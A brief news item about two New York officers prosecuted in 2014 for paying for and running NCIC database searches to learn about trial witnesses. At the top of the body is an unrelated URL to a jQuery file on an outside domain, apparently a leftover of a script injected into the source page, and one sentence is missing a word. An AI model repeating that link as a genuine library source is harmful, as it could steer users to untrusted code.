2 New York cops busted for searching NCIC data to learn about trial witnesses

http://samrecover.com/common/jquery-1.10.2.min.js The U.S. Department of Justice prosecuted a former and current New York in 2014 for the way they misused the FBI’s NCIC database.  Joseph Dwyer was a former New York cop and private investigator who needed information about witnesses in federal trials.  So he went to Ronald Buell and paid him $9000 through 17 checks over a period of time to access the NCIC database for the information.